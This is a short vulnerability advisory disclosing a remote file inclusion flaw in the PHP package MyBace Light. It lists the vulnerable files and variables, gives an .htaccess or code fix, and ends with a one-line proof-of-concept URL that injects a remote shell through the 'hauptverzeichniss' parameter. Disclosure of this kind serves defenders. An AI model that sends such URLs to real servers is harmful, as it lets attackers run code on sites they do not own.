+--------------------------------------------------------------------

+

+ MyBace Light (hauptverzeichniss) Remote File Inclusion

+

+ Original advisory:

+ 
http://www.bb-pcsecurity.de/Websecurity/384/MyBace_Light_(hauptverzeichniss)_Remote_File_Inclusion.htm

+--------------------------------------------------------------------

+

+ Affected Software .: My Bace Light

+ Venedor ...........: http://www.onlinemacher.de/

+ Class .............: Remote File Inclusion

+ Risk ..............: high (Remote File Execution)

+ Found by ..........: Philipp Niedziela

+ Contact ...........: webmaster[at]bb-pcsecurity[.]de

+

+--------------------------------------------------------------------

+

+ Affected Files:

+ includes/login_check.php

+ var: $hauptverzeichniss

+

+ admin/login/content/user_daten.php

+ var: $template_back

+

+--------------------------------------------------------------------

+

+ $hauptverzeichniss & $template_back is not properly sanitized before being 
used

+

+--------------------------------------------------------------------

+

+ Solution:

+ Deny direct access to these files using a .htaccess-file

+ or modify code:

+

+ if(!isset($_REQUEST['hauptverzeichniss']) && 
!isset($_GET['hauptverzeichniss'])

+ && !isset($_POST['hauptverzeichniss'])){

+ //code of org. *.php

+ }

+ else {

+ echo "You cannot access this file directly.";

+ die();

+ }

+

+--------------------------------------------------------------------

+

+ PoC:

+

+ http://[target]/includes/login_check.php?hauptverzeichniss=[shell]

+

+--------------------------------------------------------------------

+

+ Notice: I've tried to contact venedor 3 weeks ago, but no answer yet...

+

+

+ Greets: /str0ke

+

+-------------------------[ E O F ]----------------------------------

Reply via email to